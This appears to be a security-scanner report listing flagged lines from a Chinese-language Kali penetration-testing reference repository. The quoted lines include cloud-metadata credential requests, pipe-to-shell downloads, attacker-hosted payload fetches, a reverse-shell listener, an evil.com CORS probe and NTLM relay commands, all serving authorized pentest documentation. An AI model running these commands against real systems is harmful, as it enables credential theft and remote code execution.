  • Access to secretsline 98
    [Credential-related source omitted]
  • Network accessline 198
    # docker-bench-security — 审计 Docker 主机配置    cd /tmp && git clone https://github.com/docker/docker-bench-security.git && cd docker-bench-security
  • Network accessline 199
    cd /tmp && git clone https://github.com/docker/docker-bench-security.git && cd docker-bench-security
  • Dangerous shell operationline 200
    sudo ./docker-bench-security.sh -l /tmp/docker-bench.log
  • Network accessline 250
    # AWS — 测试 IMDS 访问(IMDSv1)    curl -s http://169.254.169.254/latest/meta-data/
  • Network accessline 251
    curl -s http://169.254.169.254/latest/meta-data/
  • Network accessline 252
    curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • Network accessline 253
    curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
  • Network accessline 255
    [Credential-related source omitted]
  • Network accessline 256
    [Credential-related source omitted]
  • Network accessline 257
    [Credential-related source omitted]
  • Network accessline 262
    # Azure — 测试 IMDS    curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
  • Network accessline 263
    curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
  • Network accessline 264
    curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
  • Network accessline 266
    # GCP — 测试元数据    curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
  • Network accessline 267
    curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
  • Network accessline 268
    curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id

kali-pentest-zh/references/playbooks/internal-network-protocols.md

  • Network accessline 97
    nmap -p 21 --script ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor <ip> # 手动验证匿名访问(nmap 脚本可能因 PASV 问题产生漏报) curl -s ftp://anonymous:anonymous@<ip>/
  • Network accessline 98
    # 手动验证匿名访问(nmap 脚本可能因 PASV 问题产生漏报) curl -s ftp://anonymous:anonymous@<ip>/ # 递归目录列表(发现包含备份文件的子目录)
  • Network accessline 99
    curl -s ftp://anonymous:anonymous@<ip>/
  • Network accessline 100
    # 递归目录列表(发现包含备份文件的子目录) wget --spider -r --no-remove-listing ftp://anonymous:anonymous@<ip>/ 2>&1 | grep -E 'directory|listing' # 在可访问目录中搜索敏感文件
  • Network accessline 101
    wget --spider -r --no-remove-listing ftp://anonymous:anonymous@<ip>/ 2>&1 | grep -E 'directory|listing'
  • Network accessline 102
    # 在可访问目录中搜索敏感文件 curl -s ftp://anonymous:anonymous@<ip>/ | grep -iE '\.(tar|zip|gz|bak|sql|conf|env|key|pem|kdbx)' # 可写目录测试
  • Network accessline 103
    curl -s ftp://anonymous:anonymous@<ip>/ | grep -iE '\.(tar|zip|gz|bak|sql|conf|env|key|pem|kdbx)'
  • Network accessline 105
    curl -s -T /tmp/test_upload.txt ftp://anonymous:anonymous@<ip>/pub/ && echo "WRITABLE"

kali-pentest-zh/references/playbooks/internal-network.md

  • Network accessline 77
    openssl s_client -alpn http/1.1 -connect <ip>:<port> </dev/null 2>/dev/null | grep -E 'ALPN|Protocol'    # 第 3 步:banner 捕获    nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head
  • Network accessline 78
    # 第 3 步:banner 捕获    nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head    curl -sk https://<ip>:<port>/ -o /dev/null -w '%{http_code}\n'
  • Network accessline 79
    nc -w3 <ip> <port> 2>/dev/null | head -c 512 | xxd | head
  • Network accessline 80
    curl -sk https://<ip>:<port>/ -o /dev/null -w '%{http_code}\n'

kali-pentest-zh/references/playbooks/mobile-application.md

  • Access to secretsline 30
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]

kali-pentest-zh/references/playbooks/post-exploitation.md

  • Dangerous shell operationline 66
    **零发现应对:** 如果 linpeas/winpeas 未发现提权路径,手动检查 SUID/SGID 二进制文件、sudo 错误配置、可写 cron 任务、内核版本与已知漏洞利用的对比,以及服务账户权限。在 Windows 上,检查 SeImpersonate/SeAssignPrimaryToken 权限、未加引号的服务路径以及可修改的服务二进制文件。在得出无法提权的结论前,记录每项检查结果。
  • Access to secretsline 98
    [Credential-related source omitted]

kali-pentest-zh/references/playbooks/reporting-workflow.md

  • Network accessline 40
    - 默认使用 CVSS v4.0 基础评分计算:攻击向量、攻击复杂度、所需权限、用户交互、范围和 CIA 影响。当客户明确要求或需要与尚未迁移到 v4.0 的漏洞数据库对比时,使用 CVSS v3.1。    - 当目标环境上下文已知时(如补偿控制、利用成熟度),应用环境和时间调整。    - 参考 [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) 确保评分一致性。
  • Network accessline 41
    - 当目标环境上下文已知时(如补偿控制、利用成熟度),应用环境和时间调整。    - 参考 [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) 确保评分一致性。    - 在相关情况下将发现映射到合规框架:PCI DSS 要求、SOC 2 信任标准或 HIPAA 安全措施。
  • Network accessline 42
    - 参考 [CVSS Calculator](https://www.first.org/cvss/calculator/4.0) 确保评分一致性。

kali-pentest-zh/references/playbooks/source-code-audit.md

  • Access to secretsline 36
    [Credential-related source omitted]
  • Dangerous shell operationline 58
    - 命令注入:`eval()`、`exec()`、`system()`、`Runtime.exec()`、`os.popen()`、带 `shell=True` 的 `subprocess.call()`
  • Access to secretsline 106
    [Credential-related source omitted]

kali-pentest-zh/references/playbooks/web-application.md

  • Network accessline 18
    - **TLS 密码套件审计**:运行 `sslscan`(参见 `../vulnerability/tools/sslscan.md`)或 `testssl.sh`(参见 `../vulnerability/tools/testssl.sh.md`)枚举所有接受的密码套件,并检查已知 TLS 攻击(ROBOT、DROWN、CCS 注入、Ticketbleed、Heartbleed)——不要仅依赖手动 `openssl s_client` 版本检查。标记 3DES、RC4、非
  • Network accessline 19
    - **通配符证书→子域名枚举**:如果 TLS 证书包含通配符 SAN(如 `*.example.com`),通过 DNS 查询枚举子域名,并逐一探测是否存在独立服务或不同响应状态码。    - **CORS 源站侦察**:如果 `Access-Control-Allow-Origin` 头指定了具体源站(如 `https://app.example.com`),探测该源站的响应头、CSP 指令、Cookie 和技术栈——其响应元数据常常泄露 API 端点、内部架构或未授权
  • Network accessline 20
    - **CORS 源站侦察**:如果 `Access-Control-Allow-Origin` 头指定了具体源站(如 `https://app.example.com`),探测该源站的响应头、CSP 指令、Cookie 和技术栈——其响应元数据常常泄露 API 端点、内部架构或未授权路径。对返回 HTTP 200 且有实际内容的源站运行 `nikto` 和 `nuclei` 扫描。
  • Network accessline 38
    ```bash      # 下载 JS 文件      curl -sk https://<target>/main.js -o /tmp/main.js
  • Network accessline 39
    # 下载 JS 文件      curl -sk https://<target>/main.js -o /tmp/main.js      # 搜索 URL、API 路径、子域名和密钥
  • Network accessline 40
    curl -sk https://<target>/main.js -o /tmp/main.js
  • Network accessline 96
    ```bash      commix --url "http://target/page?param=INJECT_HERE" --level=3 --batch
  • Network accessline 97
    commix --url "http://target/page?param=INJECT_HERE" --level=3 --batch
  • Network accessline 101
    - **反序列化**:识别参数或 cookie 中的序列化对象;使用已知 gadget 链(Java/PHP/.NET)进行测试。对 PHP 反序列化漏洞,使用 `phpggc` 生成 gadget 链(见 `../web/tools/phpggc.md`)。对 CBC 模式加密的 cookie/令牌进行 Padding Oracle 攻击,使用 `padbuster`(见 `../web/tools/padbuster.md`)。    - **HTTP 请求走私**:在前
  • Network accessline 102
    - **HTTP 请求走私**:在前端和后端服务器不同的场景下,测试 CL/TE 和 TE/CL 混淆。    - **SSRF**:测试 URL 和文件参数是否可访问内网、云元数据(`http://169.254.169.254`)以及内部服务枚举。    - **XXE**:测试 XML 输入是否存在外部实体注入;如果内联响应未反射,尝试带外获取。
  • Network accessline 103
    - **SSRF**:测试 URL 和文件参数是否可访问内网、云元数据(`http://169.254.169.254`)以及内部服务枚举。
  • Network accessline 129
    - **JWT 缺陷**:`alg:none`、弱密钥、`kid` 注入——使用 `jwt_tool` 验证(参见 `../web/tools/jwt_tool.md`)。      - **IDOR / BOLA**:跨角色替换对象 ID,验证响应差异。      - **CORS 配置错误**:发送 `Origin: https://evil.com`,检查响应中是否有反射的请求头。
  • Network accessline 130
    - **IDOR / BOLA**:跨角色替换对象 ID,验证响应差异。      - **CORS 配置错误**:发送 `Origin: https://evil.com`,检查响应中是否有反射的请求头。      - **CSRF**:确认令牌绑定;测试有无 `SameSite` cookie 属性时的行为差异。
  • Network accessline 131
    - **CORS 配置错误**:发送 `Origin: https://evil.com`,检查响应中是否有反射的请求头。
  • Network accessline 137
    # 通过认证的代理会话路由 sqlmap    sqlmap -u "<url>" --proxy http://127.0.0.1:8080 --cookie="session=<token>"
  • Network accessline 138
    sqlmap -u "<url>" --proxy http://127.0.0.1:8080 --cookie="session=<token>"

kali-pentest-zh/references/post-exploitation/README.md

  • Dangerous shell operationline 31
    自动化枚举系统中可利用的权限提升路径,包括 SUID/SUDO 配置、计划任务、服务配置、未打补丁的漏洞等。是获得 shell 后第一步必跑的工具。
  • Dangerous shell operationline 81
    1. **sudo 配置错误** -- `sudo -l` 列出允许的命令。在 [GTFOBins](https://gtfobins.github.io/) 查找可利用的二进制文件。
  • Network accessline 81
    1. **sudo 配置错误** -- `sudo -l` 列出允许的命令。在 [GTFOBins](https://gtfobins.github.io/) 查找可利用的二进制文件。
  • Network accessline 196
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest-zh/references/post-exploitation/tools/bloodhound.md

  • Dangerous shell operationline 25
    sudo apt install bloodhound neo4j
  • Network accessline 27
    # 启动 Neo4j 数据库 sudo neo4j start # 访问 http://localhost:7474 修改默认密码(neo4j/neo4j → 自定义)
  • Dangerous shell operationline 28
    sudo neo4j start
  • Network accessline 29
    # 访问 http://localhost:7474 修改默认密码(neo4j/neo4j → 自定义)
  • Network accessline 34
    # --- BloodHound Community Edition (CE) v5+ 可通过 Docker 部署 --- # git clone https://github.com/SpecterOps/BloodHound.git
  • Network accessline 35
    # git clone https://github.com/SpecterOps/BloodHound.git
  • Network accessline 36
    # cd BloodHound && docker compose -f examples/docker-compose/docker-compose.yml up # 访问 http://localhost:8080 (首次运行时打印凭据) # CE 采集优先使用当前 SharpHound 发布版
  • Network accessline 37
    # 访问 http://localhost:8080 (首次运行时打印凭据)
  • Network accessline 59
    # 下载 SharpHound: # BloodHound 4.x: https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors
  • Network accessline 60
    # BloodHound 4.x: https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors
  • Network accessline 61
    # BloodHound CE: https://github.com/SpecterOps/SharpHound (注意版本匹配!)
  • Network accessline 127
    - [BloodHound CE v5+(GitHub)](https://github.com/SpecterOps/BloodHound)
  • Network accessline 128
    - [BloodHound 文档](https://bloodhound.specterops.io)
  • Network accessline 129
    - [SharpHound 收集器 — CE 版(GitHub)](https://github.com/SpecterOps/SharpHound)
  • Network accessline 130
    - [SharpHound 收集器 — Legacy 4.x(GitHub)](https://github.com/SpecterOps/BloodHound-Legacy/tree/master/Collectors)
  • Network accessline 131
    - [bloodhound-python(GitHub)](https://github.com/dirkjanm/BloodHound.py)

kali-pentest-zh/references/post-exploitation/tools/bloodhound.py.md

  • Dangerous shell operationline 15
    sudo apt install bloodhound.py
  • Network accessline 90
    - [BloodHound.py (GitHub)](https://github.com/dirkjanm/BloodHound.py)
  • Network accessline 91
    - [Kali bloodhound.py](https://www.kali.org/tools/bloodhound.py/)

kali-pentest-zh/references/post-exploitation/tools/bloodyad.md

  • Dangerous shell operationline 15
    sudo apt install bloodyad
  • Network accessline 84
    - [bloodyAD (GitHub)](https://github.com/CravateRouge/bloodyAD)
  • Network accessline 85
    - [Kali bloodyad](https://www.kali.org/tools/bloodyad/)

kali-pentest-zh/references/post-exploitation/tools/certipy-ad.md

  • Dangerous shell operationline 15
    sudo apt install certipy-ad
  • Network accessline 60
    # 针对 AD CS 的 NTLM 中继攻击(配合 coercer 或 mitm6 使用) certipy-ad relay -target http://192.168.1.10 -template 'Machine'
  • Network accessline 61
    certipy-ad relay -target http://192.168.1.10 -template 'Machine'
  • Network accessline 76
    - [Certipy (GitHub)](https://github.com/ly4k/Certipy)
  • Network accessline 77
    - [Kali certipy-ad](https://www.kali.org/tools/certipy-ad/)

kali-pentest-zh/references/post-exploitation/tools/dnscat2.md

  • Dangerous shell operationline 15
    sudo apt install dnscat2
  • Dangerous shell operationline 66
    # 客户端使用 exec(绑定 shell):
  • Network accessline 92
    - [dnscat2(GitHub)](https://github.com/iagox86/dnscat2)
  • Network accessline 93
    - [Kali dnscat2](https://www.kali.org/tools/dnscat2/)

kali-pentest-zh/references/post-exploitation/tools/dploot.md

  • Dangerous shell operationline 15
    sudo apt install python3-dploot
  • Access to secretsline 25
    [Credential-related source omitted]
  • Network accessline 109
    - [dploot (GitHub)](https://github.com/zblurx/dploot)
  • Network accessline 110
    - [Kali dploot](https://www.kali.org/tools/dploot/)

kali-pentest-zh/references/post-exploitation/tools/havoc.md

  • Dangerous shell operationline 15
    sudo apt install havoc
  • Network accessline 17
    # 或从源码构建 git clone https://github.com/HavocFramework/Havoc.git
  • Network accessline 18
    git clone https://github.com/HavocFramework/Havoc.git
  • Network accessline 71
    # Python API 示例: # from havoc import Havoc # h = Havoc("https://teamserver:40056", "operator", "password")
  • Network accessline 72
    # from havoc import Havoc # h = Havoc("https://teamserver:40056", "operator", "password") # h.generate_payload(listener="http-listener", arch="x64", format="exe")
  • Network accessline 73
    # h = Havoc("https://teamserver:40056", "operator", "password")
  • Network accessline 101
    - [Havoc (GitHub)](https://github.com/HavocFramework/Havoc)
  • Network accessline 102
    - [Kali havoc](https://www.kali.org/tools/havoc/)

kali-pentest-zh/references/post-exploitation/tools/hekatomb.md

  • Dangerous shell operationline 15
    sudo apt install hekatomb
  • Network accessline 80
    - [HEKATOMB (GitHub)](https://github.com/ProcessusT/HEKATOMB)
  • Network accessline 81
    - [Kali hekatomb](https://www.kali.org/tools/hekatomb/)

kali-pentest-zh/references/post-exploitation/tools/krbrelayx.md

  • Dangerous shell operationline 16
    sudo apt install krbrelayx
  • Network accessline 21
    # 或从 GitHub 克隆 git clone https://github.com/dirkjanm/krbrelayx.git
  • Network accessline 22
    git clone https://github.com/dirkjanm/krbrelayx.git
  • Network accessline 161
    - [krbrelayx (GitHub)](https://github.com/dirkjanm/krbrelayx)
  • Network accessline 162
    - [Kali krbrelayx](https://www.kali.org/tools/krbrelayx/)

kali-pentest-zh/references/post-exploitation/tools/lapsdumper.md

  • Dangerous shell operationline 15
    sudo apt install lapsdumper
  • Network accessline 60
    - [LAPSDumper (GitHub)](https://github.com/n00py/LAPSDumper)
  • Network accessline 61
    - [Kali lapsdumper](https://www.kali.org/tools/lapsdumper/)

kali-pentest-zh/references/post-exploitation/tools/linpeas.md

  • Dangerous shell operationline 20
    sudo apt install peass
  • Network accessline 23
    # 或从 GitHub 下载最新版 curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
  • Network accessline 24
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh -o /tmp/linpeas.sh
  • Network accessline 25
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe
  • Network accessline 27
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx86.exe -o /tmp/winpeas32.exe
  • Dangerous shell operationline 45
    - Sudo 权限(sudo -l)
  • Network accessline 70
    # 或通过 python HTTP server python3 -m http.server 8080  # Kali 上 wget http://<kali-ip>:8080/linpeas.sh -O /tmp/linpeas.sh  # 目标上
  • Network accessline 72
    wget http://<kali-ip>:8080/linpeas.sh -O /tmp/linpeas.sh  # 目标上
  • Network accessline 78
    # 快速执行(无需落地,仅在能访问公网时) curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Dangerous shell operationline 79
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 79
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 107
    2. 务必将输出重定向到文件(`tee /tmp/linpeas_output.txt`)——完整扫描需要几分钟,输出内容非常庞大。 3. 时间有限或想减少噪声时,使用 `-o` 参数仅运行特定检测类别。 4. 无需落地文件的执行方式(通过 curl 直接管道执行):`curl -L <url> | sh`——仅适用于可访问互联网的目标。
  • Network accessline 108
    3. 时间有限或想减少噪声时,使用 `-o` 参数仅运行特定检测类别。 4. 无需落地文件的执行方式(通过 curl 直接管道执行):`curl -L <url> | sh`——仅适用于可访问互联网的目标。 5. PEASS-ng 频繁更新——请下载最新版本以获取当前 CVE 检测;旧版本会遗漏近期内核和软件漏洞。
  • Dangerous shell operationline 109
    4. 无需落地文件的执行方式(通过 curl 直接管道执行):`curl -L <url> | sh`——仅适用于可访问互联网的目标。
  • Network accessline 109
    4. 无需落地文件的执行方式(通过 curl 直接管道执行):`curl -L <url> | sh`——仅适用于可访问互联网的目标。
  • Network accessline 116
    - [PEASS-ng(GitHub)](https://github.com/peass-ng/PEASS-ng)
  • Network accessline 117
    - [linPEAS(GitHub)](https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS)

kali-pentest-zh/references/post-exploitation/tools/linux-exploit-suggester.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install linux-exploit-suggester
  • Network accessline 67
    - [linux-exploit-suggester GitHub](https://github.com/The-Z-Labs/linux-exploit-suggester)
  • Network accessline 68
    - [Kali linux-exploit-suggester](https://www.kali.org/tools/linux-exploit-suggester/)

kali-pentest-zh/references/post-exploitation/tools/lsassy.md

  • Network accessline 18
    # Kali Package Tracker 中源码包名为 python-lsassy # https://pkg.kali.org/pkg/python-lsassy
  • Network accessline 19
    # https://pkg.kali.org/pkg/python-lsassy
  • Network accessline 73
    - [lsassy(GitHub)](https://github.com/Hackndo/lsassy)
  • Network accessline 74
    - [Kali Package Tracker: python-lsassy](https://pkg.kali.org/pkg/python-lsassy)

kali-pentest-zh/references/post-exploitation/tools/mimikatz.md

  • Network accessline 15
    # 从官方 release 页面下载当前 Windows 构建 # https://github.com/gentilkiwi/mimikatz/releases
  • Network accessline 16
    # https://github.com/gentilkiwi/mimikatz/releases
  • Network accessline 122
    - [Mimikatz(GitHub)](https://github.com/gentilkiwi/mimikatz)
  • Network accessline 123
    - [Mimikatz Wiki](https://github.com/gentilkiwi/mimikatz/wiki)

kali-pentest-zh/references/post-exploitation/tools/powershell-empire.md

  • Dangerous shell operationline 15
    sudo apt install powershell-empire
  • Dangerous shell operationline 18
    sudo powershell-empire server
  • Network accessline 23
    # 或从 GitHub 安装 git clone --recursive https://github.com/BC-SECURITY/Empire.git
  • Network accessline 24
    git clone --recursive https://github.com/BC-SECURITY/Empire.git
  • Dangerous shell operationline 72
    sudo powershell-empire server
  • Network accessline 132
    - [Empire (GitHub)](https://github.com/BC-SECURITY/Empire)
  • Network accessline 133
    - [Kali powershell-empire](https://www.kali.org/tools/powershell-empire/)
  • Network accessline 134
    - [BC Security - Empire Documentation](https://bc-security.gitbook.io/empire-wiki)

kali-pentest-zh/references/post-exploitation/tools/powersploit.md

  • Dangerous shell operationline 15
    sudo apt install powersploit
  • Network accessline 20
    # 或从 GitHub 克隆 git clone https://github.com/PowerShellMafia/PowerSploit.git
  • Network accessline 21
    git clone https://github.com/PowerShellMafia/PowerSploit.git
  • Network accessline 98
    # 设置监听器接收反向 Shell payload nc -lvnp 4444
  • Network accessline 99
    nc -lvnp 4444
  • Network accessline 154
    - [PowerSploit (GitHub)](https://github.com/PowerShellMafia/PowerSploit)
  • Network accessline 155
    - [Kali powersploit](https://www.kali.org/tools/powersploit/)

kali-pentest-zh/references/post-exploitation/tools/proxychains.md

  • Dangerous shell operationline 15
    sudo apt install proxychains4
  • Network accessline 45
    # 通过代理执行任意命令 proxychains nmap -sT 10.10.10.0/24 proxychains curl http://internal-server/
  • Network accessline 46
    proxychains nmap -sT 10.10.10.0/24 proxychains curl http://internal-server/ proxychains ssh root@192.168.100.50
  • Network accessline 47
    proxychains curl http://internal-server/
  • Network accessline 75
    - [proxychains(GitHub)](https://github.com/haad/proxychains)
  • Network accessline 76
    - [proxychains-ng - Kali 默认版本(GitHub)](https://github.com/rofl0r/proxychains-ng)

kali-pentest-zh/references/post-exploitation/tools/pspy.md

  • Network accessline 15
    # 下载(请至 https://github.com/DominicBreuker/pspy/releases 确认最新版本) # 以下以 v1.2.1 为例,请替换为当前发布版本号 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64
  • Network accessline 16
    # 以下以 v1.2.1 为例,请替换为当前发布版本号 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64 wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/pspy32  # 32位系统
  • Network accessline 17
    wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O /tmp/pspy64
  • Network accessline 18
    wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32 -O /tmp/pspy32  # 32位系统
  • Network accessline 20
    # 也可通过 GitHub releases API 获取最新版本: # curl -sL https://github.com/DominicBreuker/pspy/releases/latest | grep -oP 'href="[^"]+pspy64"' | head -1
  • Network accessline 21
    # curl -sL https://github.com/DominicBreuker/pspy/releases/latest | grep -oP 'href="[^"]+pspy64"' | head -1
  • Network accessline 86
    - [pspy(GitHub)](https://github.com/DominicBreuker/pspy)

kali-pentest-zh/references/post-exploitation/tools/pwncat.md

  • Network accessline 10
    pwncat(cytopia 开发)是一款用 Python 编写的增强型 netcat 实现。它有四种运行模式:连接(connect)、监听(listen)、零 I/O(端口扫描)和转发(本地/远程端口转发)。除基本 netcat 功能外,pwncat 提供 IDS/IPS 规避技术、反向 Shell payload 自注入、用于数据操作的脚本钩子,以及保持连接、重连和基于 ping 的健康检查等高级连接管理功能。
  • Dangerous shell operationline 17
    sudo apt install pwncat
  • Network accessline 163
    - [pwncat GitHub Repository (cytopia)](https://github.com/cytopia/pwncat)
  • Network accessline 164
    - [pwncat Kali Tools Page](https://www.kali.org/tools/pwncat/)

kali-pentest-zh/references/post-exploitation/tools/sliver.md

  • Network accessline 15
    # 通过官方安装脚本安装 curl https://sliver.sh/install | sudo bash
  • Dangerous shell operationline 16
    curl https://sliver.sh/install | sudo bash
  • Network accessline 16
    curl https://sliver.sh/install | sudo bash
  • Network accessline 58
    - [Sliver Documentation](https://sliver.sh/)
  • Network accessline 59
    - [Sliver GitHub](https://github.com/BishopFox/sliver)

kali-pentest-zh/references/post-exploitation/tools/sshuttle.md

  • Dangerous shell operationline 15
    sudo apt install sshuttle
  • Dangerous shell operationline 74
    1. 需要本地机器的 root/sudo 权限(用于修改 iptables/pf 规则),但不需要远程服务器的 root 权限。
  • Network accessline 85
    - [sshuttle (GitHub)](https://github.com/sshuttle/sshuttle)
  • Network accessline 86
    - [Kali sshuttle](https://www.kali.org/tools/sshuttle/)

kali-pentest-zh/references/post-exploitation/tools/winpeas.md

  • Network accessline 15
    # 下载最新版本(在 Kali 上执行) curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe
  • Network accessline 16
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe -o /tmp/winpeas.exe
  • Network accessline 17
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx86.exe -o /tmp/winpeas32.exe
  • Network accessline 18
    curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEAS.bat -o /tmp/winpeas.bat
  • Network accessline 84
    - [PEASS-ng(GitHub)](https://github.com/peass-ng/PEASS-ng)
  • Network accessline 85
    - [winPEAS(GitHub)](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS)

kali-pentest-zh/references/reporting/README.md

  • Dangerous shell operationline 74
    # 需要 wkhtmltopdf:sudo apt install wkhtmltopdf
  • Network accessline 88
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest-zh/references/reporting/tools/pandoc.md

  • Dangerous shell operationline 15
    sudo apt install pandoc
  • Dangerous shell operationline 34
    # sudo apt install texlive-latex-base
  • Dangerous shell operationline 37
    # sudo apt install wkhtmltopdf
  • Network accessline 101
    - [Pandoc 官方网站](https://pandoc.org/)
  • Network accessline 102
    - [Pandoc 用户手册](https://pandoc.org/MANUAL.html)

kali-pentest-zh/references/reporting/tools/report-template.md

  • Network accessline 110
    **受影响位置**:`POST http://target.com/api/login`
  • Network accessline 121
    **复现步骤**: 1. 访问 `http://target.com/login`
  • Network accessline 122
    1. 访问 `http://target.com/login`
  • Network accessline 129
    [Credential-related source omitted]
  • Network accessline 154
    **参考**: - OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 155
    - OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 156
    - CWE-89: https://cwe.mitre.org/data/definitions/89.html
  • Network accessline 186
    ### B. 参考资料 - OWASP Top 10: https://owasp.org/Top10/
  • Network accessline 187
    - OWASP Top 10: https://owasp.org/Top10/
  • Network accessline 188
    - NIST NVD: https://nvd.nist.gov/
  • Network accessline 189
    - CVE Details: https://www.cvedetails.com/
  • Network accessline 219
    在线计算器:https://www.first.org/cvss/calculator/4.0
  • Network accessline 261
    - [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
  • Network accessline 262
    - [OWASP Top 10](https://owasp.org/Top10/)
  • Network accessline 263
    - [FIRST CVSS](https://www.first.org/cvss/)

kali-pentest-zh/references/reverse-engineering/README.md

  • Network accessline 131
    - [Kali Tools](https://www.kali.org/tools/all-tools/)

kali-pentest-zh/references/reverse-engineering/tools/apktool.md

  • Access to secretsline 43
    [Credential-related source omitted]
  • Network accessline 56
    - [Apktool CLI Parameters](https://apktool.org/docs/cli-parameters/)
  • Network accessline 57
    - [Apktool GitHub](https://github.com/iBotPeaches/Apktool)

kali-pentest-zh/references/reverse-engineering/tools/binwalk.md

  • Dangerous shell operationline 15
    sudo apt install binwalk
  • Network accessline 106
    - [binwalk (GitHub)](https://github.com/ReFirmLabs/binwalk)
  • Network accessline 107
    - [binwalk — Kali Tools](https://www.kali.org/tools/binwalk/)

kali-pentest-zh/references/reverse-engineering/tools/checksec.md

  • Dangerous shell operationline 17
    sudo apt install checksec
  • Network accessline 111
    - [checksec GitHub Repository (slimm609)](https://github.com/slimm609/checksec.sh)
  • Network accessline 112
    - [checksec Kali Tools Page](https://www.kali.org/tools/checksec/)

kali-pentest-zh/references/reverse-engineering/tools/dex2jar.md

  • Dangerous shell operationline 15
    sudo apt install dex2jar
  • Network accessline 103
    - [dex2jar (GitHub)](https://github.com/pxb1988/dex2jar)
  • Network accessline 104
    - [dex2jar — Kali Tools](https://www.kali.org/tools/dex2jar/)

kali-pentest-zh/references/reverse-engineering/tools/frida.md

  • Network accessline 70
    - [Frida Documentation](https://frida.re/docs/home/)
  • Network accessline 71
    - [frida-tools GitHub](https://github.com/frida/frida-tools)

kali-pentest-zh/references/reverse-engineering/tools/ghidra-headless.md

  • Dangerous shell operationline 15
    sudo apt install ghidra
  • Network accessline 80
    - [Ghidra GitHub](https://github.com/NationalSecurityAgency/ghidra)

kali-pentest-zh/references/reverse-engineering/tools/jadx.md

  • Network accessline 51
    # 搜索风险模式 grep -RniE "SharedPreferences|MODE_WORLD_READABLE|http://|Log\\.(d|e|i)|TrustManager|HostnameVerifier" /tmp/app_jadx
  • Network accessline 52
    grep -RniE "SharedPreferences|MODE_WORLD_READABLE|http://|Log\\.(d|e|i)|TrustManager|HostnameVerifier" /tmp/app_jadx
  • Network accessline 65
    - [jadx GitHub](https://github.com/skylot/jadx)

kali-pentest-zh/references/reverse-engineering/tools/ldd.md

  • Network accessline 57
    - [ldd(1) — Linux manual page](https://man7.org/linux/man-pages/man1/ldd.1.html)

kali-pentest-zh/references/reverse-engineering/tools/nm.md

  • Network accessline 65
    - [GNU Binutils — nm](https://sourceware.org/binutils/docs/binutils/nm.html)
  • Network accessline 66
    - [nm(1) — Linux manual page](https://man7.org/linux/man-pages/man1/nm.1.html)

kali-pentest-zh/references/reverse-engineering/tools/objdump.md

  • Network accessline 68
    - [GNU Binutils — objdump](https://sourceware.org/binutils/docs/binutils/objdump.html)
  • Network accessline 69
    - [objdump(1) — Linux manual page](https://man7.org/linux/man-pages/man1/objdump.1.html)

kali-pentest-zh/references/reverse-engineering/tools/objection.md

  • Access to secretsline 10
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 61
    [Credential-related source omitted]
  • Network accessline 92
    - [Objection Documentation](https://github.com/sensepost/objection/wiki)
  • Network accessline 93
    - [Objection GitHub](https://github.com/sensepost/objection)

kali-pentest-zh/references/reverse-engineering/tools/rabin2.md

  • Network accessline 66
    - [radare2 GitHub](https://github.com/radareorg/radare2)
  • Network accessline 67
    - [rabin2 Manual](https://book.rada.re/tools/rabin2/intro.html)

kali-pentest-zh/references/reverse-engineering/tools/radare2.md

  • Network accessline 54
    - [radare2 Book](https://book.rada.re/)
  • Network accessline 55
    - [radare2 GitHub](https://github.com/radareorg/radare2)

kali-pentest-zh/references/reverse-engineering/tools/readelf.md

  • Network accessline 69
